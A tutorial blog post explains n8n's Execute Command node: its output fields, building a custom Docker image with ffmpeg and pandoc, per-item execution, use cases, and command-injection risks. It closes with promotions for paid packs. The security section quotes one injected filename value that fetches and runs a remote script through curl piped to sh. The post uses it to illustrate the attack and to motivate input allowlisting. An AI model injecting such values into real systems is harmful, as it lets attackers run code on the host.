n8n's Execute Command node: running shell scripts from your workflows
Published 5 August 2026 · 6 min read
Sometimes the shortest path between your data and the result is neither an integration node nor an API: it's a shell command. Converting a video with ffmpeg, turning Markdown into a PDF with pandoc, triggering a home-grown backup script — n8n's Execute Command node does exactly that: it runs a command on the machine where n8n lives and hands you back the output. It's one of the most powerful nodes on the platform, and for the very same reason one of the most dangerous. This guide covers the syntax, the minimalist Docker container trap, concrete use cases and the non-negotiable security rules.
What the Execute Command node does (and doesn't do)
The principle is raw: the node executes the command you give it on the machine or inside the container hosting n8n, with the privileges of the n8n process. Two immediate consequences:
- Self-hosted only. The node doesn't exist on n8n Cloud — nobody is going to let you run arbitrary commands on shared infrastructure. You need your own instance, typically installed with Docker.
- Blocked by default since n8n 2.0. To reduce the attack surface, recent versions disable Execute Command (and Local File Trigger) out of the box. To use it, you must explicitly remove it from the exclusion list, for example with
NODES_EXCLUDE="[]"in your environment variables. It's a deliberate design: you re-enable the node knowing what you're doing.
Don't confuse it with the Code node: the latter runs JavaScript (or Python) in a sandbox, with no system access. Execute Command talks straight to the shell.
Basic syntax: stdout, stderr, exitCode
The configuration boils down to one field, Command. A minimal example:
df -h /home/node/.n8n | tail -n 1
The node returns an item with three fields:
{
"exitCode": 0,
"stdout": "/dev/sda1 40G 12G 26G 32% /home/node/.n8n",
"stderr": ""
}
Three habits to build from your very first workflow:
- Always check
exitCode. An If node right behind it ({{ $json.exitCode }}not equal to 0 → error branch) prevents a crashed script from passing for a success. stdoutis raw text. If your script produces JSON, parse it in a Code node right after (JSON.parse($json.stdout)).- Chain with
&&, not;.cd /data && ./process.shstops if thecdfails; with;, the rest runs anyway — in the wrong place.
Using n8n expressions inside the command
The Command field accepts standard n8n expressions, which lets you build the command from incoming items:
ffmpeg -i /data/incoming/{{ $json.filename }} -vn -acodec libmp3lame /data/out/{{ $json.filename }}.mp3
That's powerful — and it's precisely where the risk of command injection hides, more on that below. Survival rule: only interpolate values you control or have validated (a filename generated by your own workflow, a verified numeric ID), never free text coming from a webhook or a form.
The Docker context: your command runs inside the container
The classic beginner trap: "ffmpeg is installed on my server, yet Execute Command answers command not found". Perfectly normal — if n8n runs in Docker, the command executes inside the container, not on the host. And the official n8nio/n8n image is based on Alpine Linux, deliberately minimal: no ffmpeg, no pandoc, no git, not even a full bash.
Building a custom image
The clean solution is a derived image that ships your tools:
FROM n8nio/n8n:latest
USER root
RUN apk add --no-cache ffmpeg pandoc git
USER node
Then in your docker-compose.yml:
services:
n8n:
build: .
volumes:
- n8n_data:/home/node/.n8n
- ./shared:/data
Two details that matter:
- Switch back to
USER nodeafter the install: the official image runs as an unprivileged user, and that's a protection you don't want to lose. - Mount a shared volume (
./shared:/datahere): the files your command reads or produces must live on a path the container can reach, and a volume is the only way to exchange them with the host or other services.
One last point: a custom image needs rebuilding on every version bump. Fold the docker compose build into your n8n update procedure, or your next update will wipe out your tools.
One item, one run — or once for everything
Default behavior: the node launches one execution of the command per incoming item. Ten files in = ten ffmpeg processes launched sequentially. That's often what you want for file conversion, but not for a maintenance script that only needs to run once.
For that second case, enable the Execute Once option in the node settings: the command runs only once, on the first item. Keep it in mind for performance too — a heavy command multiplied by 500 items can bring your instance to its knees.
Concrete use cases
- Media conversion with ffmpeg: extracting audio from a video, generating a thumbnail, normalizing a format before delivery. The webhook → Execute Command → upload node combo replaces an entire microservice.
- Document generation with pandoc:
pandoc /data/report.md -o /data/report.pdfturns the Markdown your workflow produces into a deliverable PDF. - Backup scripts: triggering a
pg_dumpor an rsync script on a Cron schedule, alongside a proper PostgreSQL backup strategy. - Git operations: cloning or pulling a repository to fetch configuration files or publish generated content.
- Calling an internal binary: an in-house business executable, a proprietary CLI — anything that has no API but accepts command-line arguments.
Security: n8n's most sensitive node
Execute Command runs shell with the privileges of the n8n process: any external data interpolated into the command is a potential entry point. The textbook scenario: a user-supplied "filename" field contains ; curl attacker.sh | sh — and your workflow dutifully executes it. This is no theoretical risk: the foundational work by Zhendong Su and Gary Wassermann, The Essence of Command Injection Attacks in Web Applications (POPL, 2006 — see on Google Scholar), formalized the mechanism: an injection succeeds as soon as user input changes the syntactic structure of the command, not just its values. And the topic is far from closed: a study by Wang, Zhai and Yang published in 2024 in Scientific Reports (see on Google Scholar) shows that detecting command injections remains hard against increasingly obfuscated payloads — one more reason not to rely on after-the-fact filtering.
The practical rules:
- Never interpolate external free text. Validate upstream with a Code node: character allowlist (
/^[a-zA-Z0-9._-]+$/for a filename), reject everything else. - Prefer fixed paths. Rather than injecting a filename into the command, write the binary file to a workflow-controlled path, then run a fully static command.
- On a shared instance, leave the node blocked. That's the default behavior since n8n 2.0; if you manage the list yourself, the official syntax is
NODES_EXCLUDE="[\"n8n-nodes-base.executeCommand\"]". A user who can create a workflow with Execute Command can read the instance's credentials — blocking isn't optional on multi-user setups.
Alternatives to consider before drawing the shell
- The Code node for any data-transformation logic: native JavaScript or Python via Pyodide, sandboxed, available everywhere including Cloud. If your "script" only manipulates JSON, that's the right tool.
- The SSH node to run a command on a different machine than n8n's: the server that actually hosts
ffmpeg, a NAS, a build machine. Same logic as with SFTP transfers: n8n orchestrates, the remote machine executes — and your n8n container stays minimal. - A sub-workflow when the command is part of a sequence reused in several places: wrap the validation → Execute Command → exitCode check trio inside a dedicated sub-workflow, and no calling workflow ever touches the shell directly.
Summary
Execute Command is the self-hosted skeleton key: one command in a field, and n8n drives ffmpeg, pandoc, git or any binary, returning stdout, stderr and exitCode. Three things to remember: under Docker, the command runs inside the Alpine container — build a custom image for your tools; by default, the node runs once per item — think of Execute Once; and above all, never interpolate unvalidated external data into the command, which is why the node is rightly blocked by default since n8n 2.0. If your instance processes customer data and you need to justify who runs what, the Compliance & Audit Pack (€149) provides a ready-to-use audit trail that tracks exactly this kind of sensitive operation — precisely the safety net you want underneath such a powerful node.
FAQ
Frequently asked questions
Does the Execute Command node work on n8n Cloud?
No. Execute Command runs a command directly on the machine or container hosting n8n, so it is only available on self-hosted instances and does not exist on n8n Cloud. Since n8n 2.0 it is even blocked by default on self-hosted setups for security reasons: you have to explicitly re-enable it through the NODES_EXCLUDE environment variable (for example NODES_EXCLUDE="[]") before you can use it.
How do I use ffmpeg or pandoc with Execute Command under Docker?
The official n8nio/n8n image is based on Alpine Linux and ships with almost no tooling. Since the command runs inside the container, you need to build a custom image: a Dockerfile starting FROM n8nio/n8n, switching to USER root, installing packages with apk add --no-cache ffmpeg pandoc git, then switching back to USER node. Rebuild that image every time you update n8n.
How do I get the result and detect when a command fails?
For each run, the Execute Command node returns an item with three fields: stdout (standard output), stderr (error output) and exitCode (the process return code). An exitCode other than 0 signals a failure: add an If node right after it to route errors, because by default a script that fails with a message on stderr but a 0 exit code will look like a success.
Bundle FlowKit Complet
€269